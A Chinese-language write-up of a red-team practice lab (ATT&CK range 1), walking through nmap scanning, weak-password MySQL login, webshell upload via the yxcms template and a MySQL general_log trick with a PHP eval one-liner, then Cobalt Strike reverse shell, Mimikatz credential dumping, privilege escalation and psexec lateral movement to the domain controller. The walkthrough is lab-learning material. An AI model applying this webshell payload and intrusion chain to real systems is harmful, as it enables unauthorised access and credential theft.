渗透靶场—ATT&CK红队评估实战靶场(一)
靶场搭建
网络拓扑图
网络搭建
如图所示,我们有三台虚拟机,一台vm1即win7与外网连接,另外两台vm2即win2k3,vm3即winserver08R2是内网环境,只能通过vm1进行访问。所以这里我们要搭建的环境:
- vm1,vm2,vm3三台主机在一个内网环境中,即将三台主机设置为仅主机模式放到一个VMnet中,实现三台主机在同一个内网中。这里我把三台主机都放在VMnet2中,如下图所示
-
同时保证vm1能访问外网,即能通过kali访问到,这里将其和攻击机kali放在同一个VMnet1中。在vm1下编辑虚拟机设置|添加网络适配器|自定义(VMnet1),最后配置好如下所示:
vm1-win7-VMnet1-192.168.13.0/24-VMnet2-192.168.142.0/24
vm2-win2k3-VMnet2-192.168.142.0/24
vm3-winserver08R2-VMnet2-192.168.142.0/24
这里一开始发现连不上,且ip是莫名其妙的,打开ipv4属性发现没有自动获取,这里自动获取,另外几台也是一样,改成自动获取
启动主机
首先启动vm1,初始密码为hongrisec@2019,启动后在C:\phpStudy下启动phpstudy,启动报错的重启一下,至此,前期工作准备完成,正式开启渗透之路
信息收集
探测内网
nmap -sP 192.168.13.0/24 探测内网存活的机器
发现主机ip地址192.168.13.129
nmap -T4 -A 192.168.13.129 扫描10000端口、操作系统、版本
可以看到靶机开启80和mysql远程登陆端口3306,并且操作系统为windows2008,据此,我们可以先通过80端口查看web服务
web服务
发现是一个探针,那都不需要信息收集了,东西都在上面
既然有mysql服务,并且开了3306,不爆破一波不是人
root/root直接进了???真是够弱的弱密码。一般这种phpstudy搭建的环境,很有可能有phpmyadmin,直接加路径/phpmyadmin,弱密码成功登陆
发现有newyxcms这个数据库,那肯定有相应页面了,这时候我的思路有三个。
- 通过cms,前台或后台找寻能getshell的漏洞
- 搜索phpmyadmin的漏洞打过去
- 通过mysql写shell进去
getshell
现在还是渗透萌新,有靶场就都试一下
通过cms
看这个数据库名,可能是yxcms,尝试加路径/yxcms,成功登陆页面,前台信息搜集,发现有这样的内容
尝试此登陆,成功登陆,并且发现yxcms的版本为1.2.1,发现一篇审计此版本cms的文章——地址 ,另一文章
要是真实环境也有这么舒服就好了。。。
前台模板处发现可以增加代码,这里我们插入一句话,蚁剑成功连接,并且直接是admin的权限,不需要提权了,此方法getshell成功
通过mysql写文件
通过mysql写文件有两种办法:
- 利用sql语句创建一张包含php一句话的表,以php后缀的形式导出到网站的绝对路径
- 利用环境变量中的日志记录功能,设置日志保存的地址为绝对路径的地址,保存日志的格式为php后缀的文件,利用sql语句,让含有php的一句话的查询记录被写入在日志中
验证第一种思路:show variables like '%secure_file%';
发现值为null,第一种思路无法进行。
验证第二种思路:show variables like 'general_log%';
这里虽然关闭了,但是我们可以远程开启(secure_file_priv无法远程开启)
set global general_log = 'ON';
设置日志保存的地址为绝对路径的地址,保存日志的格式为php后缀的文件:
SET GLOBAL general_log_file='C:/phpStudy/www/karsa.php'
然后进行sql查询,将一句话保存在php日志中:
SELECT '<?php eval($_POST["pass"]);?>'
蚁剑成功连接,此方法getshell成功
通过phpmyadmin
测试了几个cve,CVE-2014-8959等,发现版本都不太适合,然后这个暂时就不考虑了吧
内网渗透
CS上线
流程:创建团队服务器->客户端连接服务器->创建监听器->生成后门对应监听器->靶机运行后门成功上线
将生成的后门通过蚁剑上传,执行exe文件,即可cs上线
创建监听
Cobalt Strike|Listeners
Listeners|Add
反弹shell
Attacks|Packages|Windows Executable
成功生成一个shell后上传至靶机,通过虚拟终端执行.exe文件,反弹shell成功
内网信息收集
net view
本机ip为192.168.142.132,扫到一台192.168.142.130的主机
net config workstation
判断当前登陆域及登录用户信息
net time /domain
发现存在域,但是探测到的机器不是域控机,那我们思路就是进行横向渗透
net view /domain:god
查看域成员
该台机器在域中,ok,进行横向渗透
横向渗透
抓取密码
Access|Run Mimikatz
hashdump
权限提升
这里是我后面加的内容,因为发现不能通过admin反弹域内机器的shell,所以进行了提权操作
Access|Elevate
选取监听器,即会自动进行提权操作,下面的机器即为system权限的机器,后续操作在system机下进行
端口转发
因为外网不能直接访问内网,所以通过端口转发实现让内网主机连接到win7上
这里使用SMB Beacon的方法
重新建立一个新的监听器
Spawn
派生出这台3588机器,相当与一个儿子
横向移动
使用psexec进行跳跃
这里我试了几次,一开始都抓不到域控的机器,只能抓到内网中的一台,经过多次尝试后终于抓到,ip可能会有变化,请注意
这里我真测试到心态崩了,对于make_token原理又看了一下,在win7中我密码为hongrisec@2019,而且不知道为什么改不了密码,然后一直看别人博客直接就用抓取的win7机的密码,后面一直不对,想了原因,最终确定在了应该是token不对的问题上,第一台域内非域控机器的Domain应该是GOD,自己在password处手动设置hongrisec@2020,终于成功反弹域内机的shell
弹成功后,一样的targets选择OWA,jump|psexec,选取GOD.ORG
最终反弹DC机的shell,实现域渗透
总结
- 渗透web服务的过程比较简单,也没有什么坑
- 靶机默认设置了ip,导致一开始kali里扫不到ip,一脸懵,要更改DHCP自动获取
- cobalt strike不会一次性成功,在创建smb与连接内网机器时可能都需要进行重复多次操作,我同样的设置打了四五次才成功,可能还会有更多的情况
巨坑
这里一个巨坑,域和本机是不同的两套系统,这里梗住了特别久。我win7登陆计算机的密码是hongrisec@2019,域的密码是hongrisec@2020,所以我一直拿hongrisec@2019的password,psexec无法弹shell,后面猜测可能是这里问题,但是改密码我用hongrisec@2019的原密码也一直提示密码错误。最终用hongrisec@2020的域密码成功反弹shell
域和计算机是不同的两套系统,可能密码不一样
本次也算是填补之前hw,拿到shell,不会扩大战果的坑。因为第一次玩这种渗透的靶场,同样也是第一次后渗透,如有不好敬请见谅